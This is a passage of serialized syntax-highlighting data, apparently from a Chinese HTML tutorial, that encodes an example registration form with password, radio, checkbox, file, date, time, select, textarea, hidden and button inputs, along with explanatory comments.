\u003C",{"type":18,"tag":297,"props":12628,"children":12629},{"style":9680},[12630],{"type":24,"value":6882},{"type":18,"tag":297,"props":12632,"children":12633},{"style":327},[12634],{"type":24,"value":12635},">\u003C",{"type":18,"tag":297,"props":12637,"children":12638},{"style":9680},[12639],{"type":24,"value":6882},{"type":18,"tag":297,"props":12641,"children":12642},{"style":327},[12643],{"type":24,"value":335},{"type":18,"tag":297,"props":12645,"children":12646},{"class":299,"line":799},[12647],{"type":18,"tag":297,"props":12648,"children":12649},{"emptyLinePlaceholder":793},[12650],{"type":24,"value":796},{"type":18,"tag":297,"props":12652,"children":12653},{"class":299,"line":808},[12654,12659,12663,12667,12671,12676,12680,12684,12688,12692,12696,12700,12704],{"type":18,"tag":297,"props":12655,"children":12656},{"style":327},[12657],{"type":24,"value":12658},"    密码: \u003C",{"type":18,"tag":297,"props":12660,"children":12661},{"style":9680},[12662],{"type":24,"value":12370},{"type":18,"tag":297,"props":12664,"children":12665},{"style":304},[12666],{"type":24,"value":12375},{"type":18,"tag":297,"props":12668,"children":12669},{"style":327},[12670],{"type":24,"value":9692},{"type":18,"tag":297,"props":12672,"children":12673},{"style":310},[12674],{"type":24,"value":12675},"\"password\"",{"type":18,"tag":297,"props":12677,"children":12678},{"style":304},[12679],{"type":24,"value":12389},{"type":18,"tag":297,"props":12681,"children":12682},{"style":327},[12683],{"type":24,"value":9692},{"type":18,"tag":297,"props":12685,"children":12686},{"style":310},[12687],{"type":24,"value":12675},{"type":18,"tag":297,"props":12689,"children":12690},{"style":327},[12691],{"type":24,"value":12626},{"type":18,"tag":297,"props":12693,"children":12694},{"style":9680},[12695],{"type":24,"value":6882},{"type":18,"tag":297,"props":12697,"children":12698},{"style":327},[12699],{"type":24,"value":12635},{"type":18,"tag":297,"props":12701,"children":12702},{"style":9680},[12703],{"type":24,"value":6882},{"type":18,"tag":297,"props":12705,"children":12706},{"style":327},[12707],{"type":24,"value":335},{"type":18,"tag":297,"props":12709,"children":12710},{"class":299,"line":817},[12711],{"type":18,"tag":297,"props":12712,"children":12713},{"style":327},[12714],{"type":24,"value":12715},"    \n",{"type":18,"tag":297,"props":12717,"children":12718},{"class":299,"line":826},[12719],{"type":18,"tag":297,"props":12720,"children":12721},{"style":5380},[12722],{"type":24,"value":12723},"    \u003C!-- 注意同一组单选项name属性必须一致，value属性值是表单提交值，如：男 -> 1 -->\n",{"type":18,"tag":297,"props":12725,"children":12726},{"class":299,"line":4524},[12727,12732,12736,12740,12744,12749,12753,12757,12762,12766,12770,12775],{"type":18,"tag":297,"props":12728,"children":12729},{"style":327},[12730],{"type":24,"value":12731},"    性别: \u003C",{"type":18,"tag":297,"props":12733,"children":12734},{"style":9680},[12735],{"type":24,"value":12370},{"type":18,"tag":297,"props":12737,"children":12738},{"style":304},[12739],{"type":24,"value":12375},{"type":18,"tag":297,"props":12741,"children":12742},{"style":327},[12743],{"type":24,"value":9692},{"type":18,"tag":297,"props":12745,"children":12746},{"style":310},[12747],{"type":24,"value":12748},"\"radio\"",{"type":18,"tag":297,"props":12750,"children":12751},{"style":304},[12752],{"type":24,"value":12389},{"type":18,"tag":297,"props":12754,"children":12755},{"style":327},[12756],{"type":24,"value":9692},{"type":18,"tag":297,"props":12758,"children":12759},{"style":310},[12760],{"type":24,"value":12761},"\"gender\"",{"type":18,"tag":297,"props":12763,"children":12764},{"style":304},[12765],{"type":24,"value":12473},{"type":18,"tag":297,"props":12767,"children":12768},{"style":327},[12769],{"type":24,"value":9692},{"type":18,"tag":297,"props":12771,"children":12772},{"style":310},[12773],{"type":24,"value":12774},"\"1\"",{"type":18,"tag":297,"props":12776,"children":12777},{"style":327},[12778],{"type":24,"value":12779},"> 男\n",{"type":18,"tag":297,"props":12781,"children":12782},{"class":299,"line":4533},[12783],{"type":18,"tag":297,"props":12784,"children":12785},{"style":5380},[12786],{"type":24,"value":12787},"    \u003C!-- label标签用来提升用户体验，即添加后不需要用户精准点击圈才会被选中 -->\n",{"type":18,"tag":297,"props":12789,"children":12790},{"class":299,"line":4546},[12791,12795,12800,12804,12808,12812,12816,12820,12824,12828,12832,12836,12840,12845,12850,12854,12858,12862,12866,12870],{"type":18,"tag":297,"props":12792,"children":12793},{"style":327},[12794],{"type":24,"value":12451},{"type":18,"tag":297,"props":12796,"children":12797},{"style":9680},[12798],{"type":24,"value":12799},"label",{"type":18,"tag":297,"props":12801,"children":12802},{"style":327},[12803],{"type":24,"value":12635},{"type":18,"tag":297,"props":12805,"children":12806},{"style":9680},[12807],{"type":24,"value":12370},{"type":18,"tag":297,"props":12809,"children":12810},{"style":304},[12811],{"type":24,"value":12375},{"type":18,"tag":297,"props":12813,"children":12814},{"style":327},[12815],{"type":24,"value":9692},{"type":18,"tag":297,"props":12817,"children":12818},{"style":310},[12819],{"type":24,"value":12748},{"type":18,"tag":297,"props":12821,"children":12822},{"style":304},[12823],{"type":24,"value":12389},{"type":18,"tag":297,"props":12825,"children":12826},{"style":327},[12827],{"type":24,"value":9692},{"type":18,"tag":297,"props":12829,"children":12830},{"style":310},[12831],{"type":24,"value":12761},{"type":18,"tag":297,"props":12833,"children":12834},{"style":304},[12835],{"type":24,"value":12473},{"type":18,"tag":297,"props":12837,"children":12838},{"style":327},[12839],{"type":24,"value":9692},{"type":18,"tag":297,"props":12841,"children":12842},{"style":310},[12843],{"type":24,"value":12844},"\"2\"",{"type":18,"tag":297,"props":12846,"children":12847},{"style":327},[12848],{"type":24,"value":12849},"> 女 \u003C\u002F",{"type":18,"tag":297,"props":12851,"children":12852},{"style":9680},[12853],{"type":24,"value":12799},{"type":18,"tag":297,"props":12855,"children":12856},{"style":327},[12857],{"type":24,"value":12626},{"type":18,"tag":297,"props":12859,"children":12860},{"style":9680},[12861],{"type":24,"value":6882},{"type":18,"tag":297,"props":12863,"children":12864},{"style":327},[12865],{"type":24,"value":12635},{"type":18,"tag":297,"props":12867,"children":12868},{"style":9680},[12869],{"type":24,"value":6882},{"type":18,"tag":297,"props":12871,"children":12872},{"style":327},[12873],{"type":24,"value":335},{"type":18,"tag":297,"props":12875,"children":12876},{"class":299,"line":4555},[12877],{"type":18,"tag":297,"props":12878,"children":12879},{"emptyLinePlaceholder":793},[12880],{"type":24,"value":796},{"type":18,"tag":297,"props":12882,"children":12883},{"class":299,"line":4568},[12884,12889,12893,12897,12901,12905,12909,12914,12918,12922,12927,12931,12935,12940,12945,12949],{"type":18,"tag":297,"props":12885,"children":12886},{"style":327},[12887],{"type":24,"value":12888},"    爱好: \u003C",{"type":18,"tag":297,"props":12890,"children":12891},{"style":9680},[12892],{"type":24,"value":12799},{"type":18,"tag":297,"props":12894,"children":12895},{"style":327},[12896],{"type":24,"value":12635},{"type":18,"tag":297,"props":12898,"children":12899},{"style":9680},[12900],{"type":24,"value":12370},{"type":18,"tag":297,"props":12902,"children":12903},{"style":304},[12904],{"type":24,"value":12375},{"type":18,"tag":297,"props":12906,"children":12907},{"style":327},[12908],{"type":24,"value":9692},{"type":18,"tag":297,"props":12910,"children":12911},{"style":310},[12912],{"type":24,"value":12913},"\"checkbox\"",{"type":18,"tag":297,"props":12915,"children":12916},{"style":304},[12917],{"type":24,"value":12389},{"type":18,"tag":297,"props":12919,"children":12920},{"style":327},[12921],{"type":24,"value":9692},{"type":18,"tag":297,"props":12923,"children":12924},{"style":310},[12925],{"type":24,"value":12926},"\"hobby\"",{"type":18,"tag":297,"props":12928,"children":12929},{"style":304},[12930],{"type":24,"value":12473},{"type":18,"tag":297,"props":12932,"children":12933},{"style":327},[12934],{"type":24,"value":9692},{"type":18,"tag":297,"props":12936,"children":12937},{"style":310},[12938],{"type":24,"value":12939},"\"java\"",{"type":18,"tag":297,"props":12941,"children":12942},{"style":327},[12943],{"type":24,"value":12944},"> java \u003C\u002F",{"type":18,"tag":297,"props":12946,"children":12947},{"style":9680},[12948],{"type":24,"value":12799},{"type":18,"tag":297,"props":12950,"children":12951},{"style":327},[12952],{"type":24,"value":335},{"type":18,"tag":297,"props":12954,"children":12955},{"class":299,"line":4577},[12956,12960,12964,12968,12972,12976,12980,12984,12988,12992,12996,13000,13004,13009,13014,13018],{"type":18,"tag":297,"props":12957,"children":12958},{"style":327},[12959],{"type":24,"value":12451},{"type":18,"tag":297,"props":12961,"children":12962},{"style":9680},[12963],{"type":24,"value":12799},{"type":18,"tag":297,"props":12965,"children":12966},{"style":327},[12967],{"type":24,"value":12635},{"type":18,"tag":297,"props":12969,"children":12970},{"style":9680},[12971],{"type":24,"value":12370},{"type":18,"tag":297,"props":12973,"children":12974},{"style":304},[12975],{"type":24,"value":12375},{"type":18,"tag":297,"props":12977,"children":12978},{"style":327},[12979],{"type":24,"value":9692},{"type":18,"tag":297,"props":12981,"children":12982},{"style":310},[12983],{"type":24,"value":12913},{"type":18,"tag":297,"props":12985,"children":12986},{"style":304},[12987],{"type":24,"value":12389},{"type":18,"tag":297,"props":12989,"children":12990},{"style":327},[12991],{"type":24,"value":9692},{"type":18,"tag":297,"props":12993,"children":12994},{"style":310},[12995],{"type":24,"value":12926},{"type":18,"tag":297,"props":12997,"children":12998},{"style":304},[12999],{"type":24,"value":12473},{"type":18,"tag":297,"props":13001,"children":13002},{"style":327},[13003],{"type":24,"value":9692},{"type":18,"tag":297,"props":13005,"children":13006},{"style":310},[13007],{"type":24,"value":13008},"\"game\"",{"type":18,"tag":297,"props":13010,"children":13011},{"style":327},[13012],{"type":24,"value":13013},"> game \u003C\u002F",{"type":18,"tag":297,"props":13015,"children":13016},{"style":9680},[13017],{"type":24,"value":12799},{"type":18,"tag":297,"props":13019,"children":13020},{"style":327},[13021],{"type":24,"value":335},{"type":18,"tag":297,"props":13023,"children":13024},{"class":299,"line":4590},[13025,13029,13033,13037,13041,13045,13049,13053,13057,13061,13065,13069,13073,13078,13083,13087,13091,13095,13099,13103],{"type":18,"tag":297,"props":13026,"children":13027},{"style":327},[13028],{"type":24,"value":12451},{"type":18,"tag":297,"props":13030,"children":13031},{"style":9680},[13032],{"type":24,"value":12799},{"type":18,"tag":297,"props":13034,"children":13035},{"style":327},[13036],{"type":24,"value":12635},{"type":18,"tag":297,"props":13038,"children":13039},{"style":9680},[13040],{"type":24,"value":12370},{"type":18,"tag":297,"props":13042,"children":13043},{"style":304},[13044],{"type":24,"value":12375},{"type":18,"tag":297,"props":13046,"children":13047},{"style":327},[13048],{"type":24,"value":9692},{"type":18,"tag":297,"props":13050,"children":13051},{"style":310},[13052],{"type":24,"value":12913},{"type":18,"tag":297,"props":13054,"children":13055},{"style":304},[13056],{"type":24,"value":12389},{"type":18,"tag":297,"props":13058,"children":13059},{"style":327},[13060],{"type":24,"value":9692},{"type":18,"tag":297,"props":13062,"children":13063},{"style":310},[13064],{"type":24,"value":12926},{"type":18,"tag":297,"props":13066,"children":13067},{"style":304},[13068],{"type":24,"value":12473},{"type":18,"tag":297,"props":13070,"children":13071},{"style":327},[13072],{"type":24,"value":9692},{"type":18,"tag":297,"props":13074,"children":13075},{"style":310},[13076],{"type":24,"value":13077},"\"sing\"",{"type":18,"tag":297,"props":13079,"children":13080},{"style":327},[13081],{"type":24,"value":13082},"> sing \u003C\u002F",{"type":18,"tag":297,"props":13084,"children":13085},{"style":9680},[13086],{"type":24,"value":12799},{"type":18,"tag":297,"props":13088,"children":13089},{"style":327},[13090],{"type":24,"value":12626},{"type":18,"tag":297,"props":13092,"children":13093},{"style":9680},[13094],{"type":24,"value":6882},{"type":18,"tag":297,"props":13096,"children":13097},{"style":327},[13098],{"type":24,"value":12635},{"type":18,"tag":297,"props":13100,"children":13101},{"style":9680},[13102],{"type":24,"value":6882},{"type":18,"tag":297,"props":13104,"children":13105},{"style":327},[13106],{"type":24,"value":335},{"type":18,"tag":297,"props":13108,"children":13109},{"class":299,"line":4599},[13110],{"type":18,"tag":297,"props":13111,"children":13112},{"emptyLinePlaceholder":793},[13113],{"type":24,"value":796},{"type":18,"tag":297,"props":13115,"children":13116},{"class":299,"line":4607},[13117,13122,13126,13130,13134,13139,13143,13147,13152,13156,13160,13164,13168],{"type":18,"tag":297,"props":13118,"children":13119},{"style":327},[13120],{"type":24,"value":13121},"    图像: \u003C",{"type":18,"tag":297,"props":13123,"children":13124},{"style":9680},[13125],{"type":24,"value":12370},{"type":18,"tag":297,"props":13127,"children":13128},{"style":304},[13129],{"type":24,"value":12375},{"type":18,"tag":297,"props":13131,"children":13132},{"style":327},[13133],{"type":24,"value":9692},{"type":18,"tag":297,"props":13135,"children":13136},{"style":310},[13137],{"type":24,"value":13138},"\"file\"",{"type":18,"tag":297,"props":13140,"children":13141},{"style":304},[13142],{"type":24,"value":12389},{"type":18,"tag":297,"props":13144,"children":13145},{"style":327},[13146],{"type":24,"value":9692},{"type":18,"tag":297,"props":13148,"children":13149},{"style":310},[13150],{"type":24,"value":13151},"\"image\"",{"type":18,"tag":297,"props":13153,"children":13154},{"style":327},[13155],{"type":24,"value":12626},{"type":18,"tag":297,"props":13157,"children":13158},{"style":9680},[13159],{"type":24,"value":6882},{"type":18,"tag":297,"props":13161,"children":13162},{"style":327},[13163],{"type":24,"value":12635},{"type":18,"tag":297,"props":13165,"children":13166},{"style":9680},[13167],{"type":24,"value":6882},{"type":18,"tag":297,"props":13169,"children":13170},{"style":327},[13171],{"type":24,"value":335},{"type":18,"tag":297,"props":13173,"children":13174},{"class":299,"line":4616},[13175],{"type":18,"tag":297,"props":13176,"children":13177},{"emptyLinePlaceholder":793},[13178],{"type":24,"value":796},{"type":18,"tag":297,"props":13180,"children":13181},{"class":299,"line":4624},[13182,13187,13191,13195,13199,13204,13208,13212,13217,13221,13225,13229,13233],{"type":18,"tag":297,"props":13183,"children":13184},{"style":327},[13185],{"type":24,"value":13186},"    生日: \u003C",{"type":18,"tag":297,"props":13188,"children":13189},{"style":9680},[13190],{"type":24,"value":12370},{"type":18,"tag":297,"props":13192,"children":13193},{"style":304},[13194],{"type":24,"value":12375},{"type":18,"tag":297,"props":13196,"children":13197},{"style":327},[13198],{"type":24,"value":9692},{"type":18,"tag":297,"props":13200,"children":13201},{"style":310},[13202],{"type":24,"value":13203},"\"date\"",{"type":18,"tag":297,"props":13205,"children":13206},{"style":304},[13207],{"type":24,"value":12389},{"type":18,"tag":297,"props":13209,"children":13210},{"style":327},[13211],{"type":24,"value":9692},{"type":18,"tag":297,"props":13213,"children":13214},{"style":310},[13215],{"type":24,"value":13216},"\"birthday\"",{"type":18,"tag":297,"props":13218,"children":13219},{"style":327},[13220],{"type":24,"value":12626},{"type":18,"tag":297,"props":13222,"children":13223},{"style":9680},[13224],{"type":24,"value":6882},{"type":18,"tag":297,"props":13226,"children":13227},{"style":327},[13228],{"type":24,"value":12635},{"type":18,"tag":297,"props":13230,"children":13231},{"style":9680},[13232],{"type":24,"value":6882},{"type":18,"tag":297,"props":13234,"children":13235},{"style":327},[13236],{"type":24,"value":335},{"type":18,"tag":297,"props":13238,"children":13239},{"class":299,"line":4633},[13240],{"type":18,"tag":297,"props":13241,"children":13242},{"emptyLinePlaceholder":793},[13243],{"type":24,"value":796},{"type":18,"tag":297,"props":13245,"children":13246},{"class":299,"line":4641},[13247,13252,13256,13260,13264,13269,13273,13277,13281,13285,13289,13293,13297],{"type":18,"tag":297,"props":13248,"children":13249},{"style":327},[13250],{"type":24,"value":13251},"    时间: \u003C",{"type":18,"tag":297,"props":13253,"children":13254},{"style":9680},[13255],{"type":24,"value":12370},{"type":18,"tag":297,"props":13257,"children":13258},{"style":304},[13259],{"type":24,"value":12375},{"type":18,"tag":297,"props":13261,"children":13262},{"style":327},[13263],{"type":24,"value":9692},{"type":18,"tag":297,"props":13265,"children":13266},{"style":310},[13267],{"type":24,"value":13268},"\"time\"",{"type":18,"tag":297,"props":13270,"children":13271},{"style":304},[13272],{"type":24,"value":12389},{"type":18,"tag":297,"props":13274,"children":13275},{"style":327},[13276],{"type":24,"value":9692},{"type":18,"tag":297,"props":13278,"children":13279},{"style":310},[13280],{"type":24,"value":13268},{"type":18,"tag":297,"props":13282,"children":13283},{"style":327},[13284],{"type":24,"value":12626},{"type":18,"tag":297,"props":13286,"children":13287},{"style":9680},[13288],{"type":24,"value":6882},{"type":18,"tag":297,"props":13290,"children":13291},{"style":327},[13292],{"type":24,"value":12635},{"type":18,"tag":297,"props":13294,"children":13295},{"style":9680},[13296],{"type":24,"value":6882},{"type":18,"tag":297,"props":13298,"children":13299},{"style":327},[13300],{"type":24,"value":335},{"type":18,"tag":297,"props":13302,"children":13303},{"class":299,"line":4650},[13304],{"type":18,"tag":297,"props":13305,"children":13306},{"emptyLinePlaceholder":793},[13307],{"type":24,"value":796},{"type":18,"tag":297,"props":13309,"children":13310},{"class":299,"line":4658},[13311,13316,13320,13324,13328,13333,13337,13341,13346,13350,13354,13358,13362],{"type":18,"tag":297,"props":13312,"children":13313},{"style":327},[13314],{"type":24,"value":13315},"    日期时间: \u003C",{"type":18,"tag":297,"props":13317,"children":13318},{"style":9680},[13319],{"type":24,"value":12370},{"type":18,"tag":297,"props":13321,"children":13322},{"style":304},[13323],{"type":24,"value":12375},{"type":18,"tag":297,"props":13325,"children":13326},{"style":327},[13327],{"type":24,"value":9692},{"type":18,"tag":297,"props":13329,"children":13330},{"style":310},[13331],{"type":24,"value":13332},"\"datetime-local\"",{"type":18,"tag":297,"props":13334,"children":13335},{"style":304},[13336],{"type":24,"value":12389},{"type":18,"tag":297,"props":13338,"children":13339},{"style":327},[13340],{"type":24,"value":9692},{"type":18,"tag":297,"props":13342,"children":13343},{"style":310},[13344],{"type":24,"value":13345},"\"datetime\"",{"type":18,"tag":297,"props":13347,"children":13348},{"style":327},[13349],{"type":24,"value":12626},{"type":18,"tag":297,"props":13351,"children":13352},{"style":9680},[13353],{"type":24,"value":6882},{"type":18,"tag":297,"props":13355,"children":13356},{"style":327},[13357],{"type":24,"value":12635},{"type":18,"tag":297,"props":13359,"children":13360},{"style":9680},[13361],{"type":24,"value":6882},{"type":18,"tag":297,"props":13363,"children":13364},{"style":327},[13365],{"type":24,"value":335},{"type":18,"tag":297,"props":13367,"children":13368},{"class":299,"line":4681},[13369],{"type":18,"tag":297,"props":13370,"children":13371},{"style":327},[13372],{"type":24,"value":12715},{"type":18,"tag":297,"props":13374,"children":13375},{"class":299,"line":4703},[13376,13381,13386,13390,13394,13399],{"type":18,"tag":297,"props":13377,"children":13378},{"style":327},[13379],{"type":24,"value":13380},"    学历: \u003C",{"type":18,"tag":297,"props":13382,"children":13383},{"style":9680},[13384],{"type":24,"value":13385},"select",{"type":18,"tag":297,"props":13387,"children":13388},{"style":304},[13389],{"type":24,"value":12389},{"type":18,"tag":297,"props":13391,"children":13392},{"style":327},[13393],{"type":24,"value":9692},{"type":18,"tag":297,"props":13395,"children":13396},{"style":310},[13397],{"type":24,"value":13398},"\"degree\"",{"type":18,"tag":297,"props":13400,"children":13401},{"style":327},[13402],{"type":24,"value":335},{"type":18,"tag":297,"props":13404,"children":13405},{"class":299,"line":4711},[13406,13411,13416,13420,13424,13428,13433,13437],{"type":18,"tag":297,"props":13407,"children":13408},{"style":327},[13409],{"type":24,"value":13410},"        \u003C",{"type":18,"tag":297,"props":13412,"children":13413},{"style":9680},[13414],{"type":24,"value":13415},"option",{"type":18,"tag":297,"props":13417,"children":13418},{"style":304},[13419],{"type":24,"value":12473},{"type":18,"tag":297,"props":13421,"children":13422},{"style":327},[13423],{"type":24,"value":9692},{"type":18,"tag":297,"props":13425,"children":13426},{"style":310},[13427],{"type":24,"value":12570},{"type":18,"tag":297,"props":13429,"children":13430},{"style":327},[13431],{"type":24,"value":13432},">---------- 请选择 ----------\u003C\u002F",{"type":18,"tag":297,"props":13434,"children":13435},{"style":9680},[13436],{"type":24,"value":13415},{"type":18,"tag":297,"props":13438,"children":13439},{"style":327},[13440],{"type":24,"value":335},{"type":18,"tag":297,"props":13442,"children":13443},{"class":299,"line":4720},[13444,13448,13452,13456,13460,13464,13469,13473],{"type":18,"tag":297,"props":13445,"children":13446},{"style":327},[13447],{"type":24,"value":13410},{"type":18,"tag":297,"props":13449,"children":13450},{"style":9680},[13451],{"type":24,"value":13415},{"type":18,"tag":297,"props":13453,"children":13454},{"style":304},[13455],{"type":24,"value":12473},{"type":18,"tag":297,"props":13457,"children":13458},{"style":327},[13459],{"type":24,"value":9692},{"type":18,"tag":297,"props":13461,"children":13462},{"style":310},[13463],{"type":24,"value":12774},{"type":18,"tag":297,"props":13465,"children":13466},{"style":327},[13467],{"type":24,"value":13468},">大专\u003C\u002F",{"type":18,"tag":297,"props":13470,"children":13471},{"style":9680},[13472],{"type":24,"value":13415},{"type":18,"tag":297,"props":13474,"children":13475},{"style":327},[13476],{"type":24,"value":335},{"type":18,"tag":297,"props":13478,"children":13479},{"class":299,"line":4728},[13480,13484,13488,13492,13496,13500,13505,13509],{"type":18,"tag":297,"props":13481,"children":13482},{"style":327},[13483],{"type":24,"value":13410},{"type":18,"tag":297,"props":13485,"children":13486},{"style":9680},[13487],{"type":24,"value":13415},{"type":18,"tag":297,"props":13489,"children":13490},{"style":304},[13491],{"type":24,"value":12473},{"type":18,"tag":297,"props":13493,"children":13494},{"style":327},[13495],{"type":24,"value":9692},{"type":18,"tag":297,"props":13497,"children":13498},{"style":310},[13499],{"type":24,"value":12844},{"type":18,"tag":297,"props":13501,"children":13502},{"style":327},[13503],{"type":24,"value":13504},">本科\u003C\u002F",{"type":18,"tag":297,"props":13506,"children":13507},{"style":9680},[13508],{"type":24,"value":13415},{"type":18,"tag":297,"props":13510,"children":13511},{"style":327},[13512],{"type":24,"value":335},{"type":18,"tag":297,"props":13514,"children":13516},{"class":299,"line":13515},28,[13517,13521,13525,13529,13533,13538,13543,13547],{"type":18,"tag":297,"props":13518,"children":13519},{"style":327},[13520],{"type":24,"value":13410},{"type":18,"tag":297,"props":13522,"children":13523},{"style":9680},[13524],{"type":24,"value":13415},{"type":18,"tag":297,"props":13526,"children":13527},{"style":304},[13528],{"type":24,"value":12473},{"type":18,"tag":297,"props":13530,"children":13531},{"style":327},[13532],{"type":24,"value":9692},{"type":18,"tag":297,"props":13534,"children":13535},{"style":310},[13536],{"type":24,"value":13537},"\"3\"",{"type":18,"tag":297,"props":13539,"children":13540},{"style":327},[13541],{"type":24,"value":13542},">硕士\u003C\u002F",{"type":18,"tag":297,"props":13544,"children":13545},{"style":9680},[13546],{"type":24,"value":13415},{"type":18,"tag":297,"props":13548,"children":13549},{"style":327},[13550],{"type":24,"value":335},{"type":18,"tag":297,"props":13552,"children":13554},{"class":299,"line":13553},29,[13555,13559,13563,13567,13571,13576,13581,13585],{"type":18,"tag":297,"props":13556,"children":13557},{"style":327},[13558],{"type":24,"value":13410},{"type":18,"tag":297,"props":13560,"children":13561},{"style":9680},[13562],{"type":24,"value":13415},{"type":18,"tag":297,"props":13564,"children":13565},{"style":304},[13566],{"type":24,"value":12473},{"type":18,"tag":297,"props":13568,"children":13569},{"style":327},[13570],{"type":24,"value":9692},{"type":18,"tag":297,"props":13572,"children":13573},{"style":310},[13574],{"type":24,"value":13575},"\"4\"",{"type":18,"tag":297,"props":13577,"children":13578},{"style":327},[13579],{"type":24,"value":13580},">博士\u003C\u002F",{"type":18,"tag":297,"props":13582,"children":13583},{"style":9680},[13584],{"type":24,"value":13415},{"type":18,"tag":297,"props":13586,"children":13587},{"style":327},[13588],{"type":24,"value":335},{"type":18,"tag":297,"props":13590,"children":13592},{"class":299,"line":13591},30,[13593,13598,13602,13606,13610,13614,13618],{"type":18,"tag":297,"props":13594,"children":13595},{"style":327},[13596],{"type":24,"value":13597},"    \u003C\u002F",{"type":18,"tag":297,"props":13599,"children":13600},{"style":9680},[13601],{"type":24,"value":13385},{"type":18,"tag":297,"props":13603,"children":13604},{"style":327},[13605],{"type":24,"value":12626},{"type":18,"tag":297,"props":13607,"children":13608},{"style":9680},[13609],{"type":24,"value":6882},{"type":18,"tag":297,"props":13611,"children":13612},{"style":327},[13613],{"type":24,"value":12635},{"type":18,"tag":297,"props":13615,"children":13616},{"style":9680},[13617],{"type":24,"value":6882},{"type":18,"tag":297,"props":13619,"children":13620},{"style":327},[13621],{"type":24,"value":335},{"type":18,"tag":297,"props":13623,"children":13625},{"class":299,"line":13624},31,[13626],{"type":18,"tag":297,"props":13627,"children":13628},{"emptyLinePlaceholder":793},[13629],{"type":24,"value":796},{"type":18,"tag":297,"props":13631,"children":13633},{"class":299,"line":13632},32,[13634],{"type":18,"tag":297,"props":13635,"children":13636},{"style":5380},[13637],{"type":24,"value":13638},"    \u003C!-- cols表示初始输入大小为30个字符，rows表示可输入10行 -->\n",{"type":18,"tag":297,"props":13640,"children":13642},{"class":299,"line":13641},33,[13643,13648,13653,13657,13661,13666,13671,13675,13680,13685,13689,13694,13698,13702,13706,13710,13714,13718],{"type":18,"tag":297,"props":13644,"children":13645},{"style":327},[13646],{"type":24,"value":13647},"    描述: \u003C",{"type":18,"tag":297,"props":13649,"children":13650},{"style":9680},[13651],{"type":24,"value":13652},"textarea",{"type":18,"tag":297,"props":13654,"children":13655},{"style":304},[13656],{"type":24,"value":12389},{"type":18,"tag":297,"props":13658,"children":13659},{"style":327},[13660],{"type":24,"value":9692},{"type":18,"tag":297,"props":13662,"children":13663},{"style":310},[13664],{"type":24,"value":13665},"\"description\"",{"type":18,"tag":297,"props":13667,"children":13668},{"style":304},[13669],{"type":24,"value":13670}," cols",{"type":18,"tag":297,"props":13672,"children":13673},{"style":327},[13674],{"type":24,"value":9692},{"type":18,"tag":297,"props":13676,"children":13677},{"style":310},[13678],{"type":24,"value":13679},"\"30\"",{"type":18,"tag":297,"props":13681,"children":13682},{"style":304},[13683],{"type":24,"value":13684}," rows",{"type":18,"tag":297,"props":13686,"children":13687},{"style":327},[13688],{"type":24,"value":9692},{"type":18,"tag":297,"props":13690,"children":13691},{"style":310},[13692],{"type":24,"value":13693},"\"10\"",{"type":18,"tag":297,"props":13695,"children":13696},{"style":327},[13697],{"type":24,"value":10600},{"type":18,"tag":297,"props":13699,"children":13700},{"style":9680},[13701],{"type":24,"value":13652},{"type":18,"tag":297,"props":13703,"children":13704},{"style":327},[13705],{"type":24,"value":12626},{"type":18,"tag":297,"props":13707,"children":13708},{"style":9680},[13709],{"type":24,"value":6882},{"type":18,"tag":297,"props":13711,"children":13712},{"style":327},[13713],{"type":24,"value":12635},{"type":18,"tag":297,"props":13715,"children":13716},{"style":9680},[13717],{"type":24,"value":6882},{"type":18,"tag":297,"props":13719,"children":13720},{"style":327},[13721],{"type":24,"value":335},{"type":18,"tag":297,"props":13723,"children":13725},{"class":299,"line":13724},34,[13726],{"type":18,"tag":297,"props":13727,"children":13728},{"emptyLinePlaceholder":793},[13729],{"type":24,"value":796},{"type":18,"tag":297,"props":13731,"children":13733},{"class":299,"line":13732},35,[13734,13738,13742,13746,13750,13755,13759,13763,13768,13772,13776,13780],{"type":18,"tag":297,"props":13735,"children":13736},{"style":327},[13737],{"type":24,"value":12451},{"type":18,"tag":297,"props":13739,"children":13740},{"style":9680},[13741],{"type":24,"value":12370},{"type":18,"tag":297,"props":13743,"children":13744},{"style":304},[13745],{"type":24,"value":12375},{"type":18,"tag":297,"props":13747,"children":13748},{"style":327},[13749],{"type":24,"value":9692},{"type":18,"tag":297,"props":13751,"children":13752},{"style":310},[13753],{"type":24,"value":13754},"\"hidden\"",{"type":18,"tag":297,"props":13756,"children":13757},{"style":304},[13758],{"type":24,"value":12389},{"type":18,"tag":297,"props":13760,"children":13761},{"style":327},[13762],{"type":24,"value":9692},{"type":18,"tag":297,"props":13764,"children":13765},{"style":310},[13766],{"type":24,"value":13767},"\"id\"",{"type":18,"tag":297,"props":13769,"children":13770},{"style":304},[13771],{"type":24,"value":12473},{"type":18,"tag":297,"props":13773,"children":13774},{"style":327},[13775],{"type":24,"value":9692},{"type":18,"tag":297,"props":13777,"children":13778},{"style":310},[13779],{"type":24,"value":12774},{"type":18,"tag":297,"props":13781,"children":13782},{"style":327},[13783],{"type":24,"value":335},{"type":18,"tag":297,"props":13785,"children":13787},{"class":299,"line":13786},36,[13788],{"type":18,"tag":297,"props":13789,"children":13790},{"emptyLinePlaceholder":793},[13791],{"type":24,"value":796},{"type":18,"tag":297,"props":13793,"children":13795},{"class":299,"line":13794},37,[13796],{"type":18,"tag":297,"props":13797,"children":13798},{"style":5380},[13799],{"type":24,"value":13800},"    \u003C!-- 表单常见按钮 -->\n",{"type":18,"tag":297,"props":13802,"children":13804},{"class":299,"line":13803},38,[13805,13809,13813,13817,13821,13826,13830,13834,13839],{"type":18,"tag":297,"props":13806,"children":13807},{"style":327},[13808],{"type":24,"value":12451},{"type":18,"tag":297,"props":13810,"children":13811},{"style":9680},[13812],{"type":24,"value":12370},{"type":18,"tag":297,"props":13814,"children":13815},{"style":304},[13816],{"type":24,"value":12375},{"type":18,"tag":297,"props":13818,"children":13819},{"style":327},[13820],{"type":24,"value":9692},{"type":18,"tag":297,"props":13822,"children":13823},{"style":310},[13824],{"type":24,"value":13825},"\"button\"",{"type":18,"tag":297,"props":13827,"children":13828},{"style":304},[13829],{"type":24,"value":12473},{"type":18,"tag":297,"props":13831,"children":13832},{"style":327},[13833],{"type":24,"value":9692},{"type":18,"tag":297,"props":13835,"children":13836},{"style":310},[13837],{"type":24,"value":13838},"\"按钮\"",{"type":18,"tag":297,"props":13840,"children":13841},{"style":327},[13842],{"type":24,"value":335},{"type":18,"tag":297,"props":13844,"children":13846},{"class":299,"line":13845},39,[13847,13851,13855,13859,13863,13868,13872,13876,13881],{"type":18,"tag":297,"props":13848,"children":13849},{"style":327},[13850],{"type":24,"value":12451},{"type":18,"tag":297,"props":13852,"children":13853},{"style":9680},[13854],{"type":24,"value":12370},{"type":18,"tag":297,"props":13856,"children":13857},{"style":304},[1385